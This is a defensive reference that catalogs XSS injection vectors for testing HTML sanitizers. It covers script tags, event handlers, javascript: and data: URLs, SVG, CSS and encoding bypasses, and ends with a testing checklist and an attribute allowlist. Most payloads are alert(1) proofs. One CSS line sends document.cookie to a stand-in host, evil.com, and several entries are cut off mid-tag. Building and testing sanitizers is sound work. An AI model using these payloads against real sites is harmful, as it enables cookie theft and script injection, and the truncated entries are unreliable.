tools-only Comprehensive XSS Vectors Reference
This document catalogs JavaScript injection vectors that must be handled when sanitizing HTML. Use this as a checklist to ensure comprehensive coverage.
1. Script Elements
Basic Script Tags
<script>alert(1)</script>
<script src="evil.js"></script>
<script type="text/javascript">alert(1)</script>
Obfuscated Script Tags
<ScRiPt>alert(1)</ScRiPt>
<script >alert(1)</script>
<script/src="evil.js">
<script\nsrc="evil.js">
2. Event Handler Attributes
Mouse Events
onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove,
onmouseout, onmouseenter, onmouseleave, oncontextmenu, onwheel
Keyboard Events
onkeydown, onkeyup, onkeypress
Form Events
onfocus, onblur, onchange, onsubmit, onreset, onselect, oninput,
oninvalid, onsearch, onformdata
Window/Document Events
onload, onerror, onabort, onbeforeunload, onunload, onresize, onscroll,
onhashchange, onpageshow, onpagehide, onpopstate, onstorage, onoffline,
ononline, onmessage, onvisibilitychange
Media Events
onplay, onpause, onplaying, onprogress, onratechange, onseeked,
onseeking, onstalled, onsuspend, ontimeupdate, onvolumechange,
onwaiting, oncanplay, oncanplaythrough, ondurationchange, onemptied,
onended, onloadeddata, onloadedmetadata, onloadstart
Drag Events
ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop
Animation/Transition Events
onanimationstart, onanimationend, onanimationiteration,
ontransitionend, ontransitionstart, ontransitionrun, ontransitioncancel
Clipboard Events
oncopy, oncut, onpaste
Other Events
ontoggle, onshow, onauxclick, ongotpointercapture, onlostpointercapture,
onpointerdown, onpointermove, onpointerup, onpointercancel, onpointerover,
onpointerout, onpointerenter, onpointerleave, onsecuritypolicyviolation
Event Handler Bypass Techniques
<img src=x
<img src=x
<img src=x
<img src=x
<body
3. JavaScript URL Schemes
Basic JavaScript URLs
<a href="javascript:alert(1)">click</a>
<a href="JavaScript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
<a href=" javascript:alert(1)">click</a>
<a href="java
script:alert(1)">click</a>
Attributes That Accept URLs
href, src, action, formaction, data, poster, codebase, cite, background,
profile, usemap, longdesc, dynsrc, lowsrc, ping, manifest
Data URL Attacks
<a href="data:text/html,<script>alert(1)</script>">click</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a>
<object data="data:text/html,<script>alert(1)</script>">
<iframe src="data:text/html,<script>alert(1)</script>">
VBScript URLs (IE-specific but worth blocking)
<a href="vbscript:msgbox(1)">click</a>
4. Dangerous Elements
Iframe Attacks
<iframe src="javascript:alert(1)">
<iframe srcdoc="<script>alert(1)</script>">
<iframe src="data:text/html,<script>alert(1)</script>">
Object/Embed Attacks
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<embed src="javascript:alert(1)">
<embed src="data:text/html,<script>alert(1)</script>">
SVG Attacks
<svg
<svg><script>alert(1)</script></svg>
<svg><a xlink:href="javascript:alert(1)"><text>click</text></a></svg>
<svg><animate
<svg><set
<svg><foreignObject><script>alert(1)</script></foreignObject></svg>
MathML Attacks
<math><maction actiontype="statusline#http://evil.com">click</maction></math>
Base Tag Manipulation
<base href="javascript:alert(1)//">
<base href="https://evil.com/">
Meta Refresh Attacks
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
<meta http-equiv="refresh" content="0;url=data:text/html,<script>alert(1)</script>">
Link Import Attacks
<link rel="import" href="javascript:alert(1)">
<link rel="import" href="data:text/html,<script>alert(1)</script>">
Form Attacks
<form action="javascript:alert(1)"><input type="submit">
<input formaction="javascript:alert(1)" type="submit">
<button formaction="javascript:alert(1)">click</button>
5. CSS-Based Attacks
Expression (IE-specific)
<div style="width:expression(alert(1))">
<style>body{background:url(javascript:alert(1))}</style>
Moz-Binding (Firefox-specific, deprecated)
<div style="-moz-binding:url(evil.xml#xss)">
Behavior (IE-specific)
<div style="behavior:url(evil.htc)">
Background URL Exfiltration
<div style="background:url('https://evil.com/steal?cookie='+document.cookie)">
6. Encoding Bypass Techniques
HTML Entity Encoding
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
URL Encoding
<a href="javascript%3Aalert(1)">click</a>
<a href="javascript%253Aalert(1)">click</a>
Unicode Variations
<a href="javascript\u003Aalert(1)">click</a>
<img src=x
Null Byte Injection
<script>al%00ert(1)</script>
<a href="java%00script:alert(1)">click</a>
Mixed Encoding
<a href="javascript:alert(1)">click</a>
<img src=x onerror=alert(1)>
7. Parser Confusion Attacks
Malformed Tags
<script<script>>alert(1)</script>
<script "">alert(1)</script>
<script a=">'>" src="evil.js">
<img src="x` `<script>alert(1)</script>`">
Comment-Based
<!--><script>alert(1)</script>-->
<script><!--alert(1)--></script>
<script>alert(1)<!--</script>
CDATA-Based
<script><![CDATA[alert(1)]]></script>
<svg><script><![CDATA[alert(1)]]></script></svg>
Namespace Confusion
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
<math xmlns="http://www.w3.org/1998/Math/MathML"><script>alert(1)</script></math>
8. Template Injection
Server-Side Template Indicators
{{constructor.constructor('alert(1)')()}}
${alert(1)}
<%= alert(1) %>
#{alert(1)}
9. Testing Checklist
When testing a filter, verify it handles:
- Basic
<script>tags - Script tags with various casings
- Script tags with whitespace variations
- All event handler attributes (not just common ones)
- Event handlers with whitespace around
= -
javascript:URLs in all URL attributes -
data:URLs with HTML/JavaScript content - Case variations of URL schemes
- Entity-encoded payloads
- URL-encoded payloads
- Null bytes and control characters
- Malformed HTML
- SVG with embedded scripts
- Iframe with srcdoc
- Form actions and formaction attributes
- Meta refresh redirects
- Style attributes with dangerous CSS
- Comments and CDATA sections
- Deeply nested malicious content
10. Safe Attribute Allowlist
When using an allowlist approach, these attributes are generally safe:
id, class, title, alt, name, placeholder, readonly, disabled, checked,
selected, multiple, size, maxlength, minlength, pattern, required,
autocomplete, autofocus, cols, rows, wrap, dir, lang, tabindex,
accesskey, contenteditable, draggable, hidden, spellcheck, translate,
role, aria-*, data-* (with sanitized values)
Note: Even "safe" attributes may require value sanitization to prevent attacks.